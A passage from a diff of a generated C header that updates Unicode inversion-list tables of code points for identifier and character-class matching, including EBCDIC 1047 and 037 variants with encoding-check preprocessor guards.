+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9C1,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
 	0x1D6C1,
-	0x1D6E2,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
 	0x1D6FB,
-	0x1D71C,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
 	0x1D735,
-	0x1D756,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
 	0x1D76F,
-	0x1D790,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
 	0x1D7A9,
-	0x1D7CA,
-	0x1D7CB,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E922,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-static const UV XPosixWord_invlist[] = { /* for EBCDIC 1047 */
-	1385,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_IDC_invlist[] = { /* for EBCDIC 1047 */
+	1403,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -61994,6 +233945,8 @@
 	0xAD,
 	0xAE,
 	0xAF,
+	0xB3,
+	0xB4,
 	0xBA,
 	0xBB,
 	0xC1,
@@ -62029,8 +233982,6 @@
 	0x37F,
 	0x380,
 	0x386,
-	0x387,
-	0x388,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -62041,6 +233992,8 @@
 	0x3F7,
 	0x482,
 	0x483,
+	0x488,
+	0x48A,
 	0x530,
 	0x531,
 	0x557,
@@ -62088,6 +234041,8 @@
 	0x82E,
 	0x840,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -62126,6 +234081,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -62185,7 +234142,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -62300,7 +234257,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -62307,8 +234264,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -62458,6 +234413,8 @@
 	0x135B,
 	0x135D,
 	0x1360,
+	0x1369,
+	0x1372,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -62521,7 +234478,7 @@
 	0x19B0,
 	0x19CA,
 	0x19D0,
-	0x19DA,
+	0x19DB,
 	0x1A00,
 	0x1A1C,
 	0x1A20,
@@ -62535,7 +234492,7 @@
 	0x1AA7,
 	0x1AA8,
 	0x1AB0,
-	0x1ABF,
+	0x1ABE,
 	0x1B00,
 	0x1B4C,
 	0x1B50,
@@ -62555,11 +234512,9 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -62598,8 +234553,6 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
-	0x200C,
-	0x200E,
 	0x203F,
 	0x2041,
 	0x2054,
@@ -62611,6 +234564,10 @@
 	0x2090,
 	0x209D,
 	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
 	0x20F1,
 	0x2102,
 	0x2103,
@@ -62620,7 +234577,7 @@
 	0x2114,
 	0x2115,
 	0x2116,
-	0x2119,
+	0x2118,
 	0x211E,
 	0x2124,
 	0x2125,
@@ -62629,8 +234586,6 @@
 	0x2128,
 	0x2129,
 	0x212A,
-	0x212E,
-	0x212F,
 	0x213A,
 	0x213C,
 	0x2140,
@@ -62640,8 +234595,6 @@
 	0x214F,
 	0x2160,
 	0x2189,
-	0x24B6,
-	0x24EA,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -62680,8 +234633,6 @@
 	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E2F,
-	0x2E30,
 	0x3005,
 	0x3008,
 	0x3021,
@@ -62693,8 +234644,6 @@
 	0x3041,
 	0x3097,
 	0x3099,
-	0x309B,
-	0x309D,
 	0x30A0,
 	0x30A1,
 	0x30FB,
@@ -62701,7 +234650,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -62711,7 +234660,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -62721,7 +234670,7 @@
 	0xA610,
 	0xA62C,
 	0xA640,
-	0xA673,
+	0xA670,
 	0xA674,
 	0xA67E,
 	0xA67F,
@@ -62888,7 +234837,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -63094,6 +235043,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -63110,6 +235067,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -63147,13 +235118,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -63334,12 +235307,6 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -63348,6 +235315,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0100,
@@ -63354,106 +235323,5682 @@
 	0xE01F0
 };
 
-static const UV XPosixXDigit_invlist[] = { /* for EBCDIC 1047 */
-	13,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_IDC_invlist[] = { /* for EBCDIC 037 */
+	1399,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x81,
-	0x87,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB3,
+	0xB4,
 	0xC1,
-	0xC7,
-	0xF0,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
 	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x488,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x1050,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1369,
+	0x1372,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
+	0x2102,
+	0x2103,
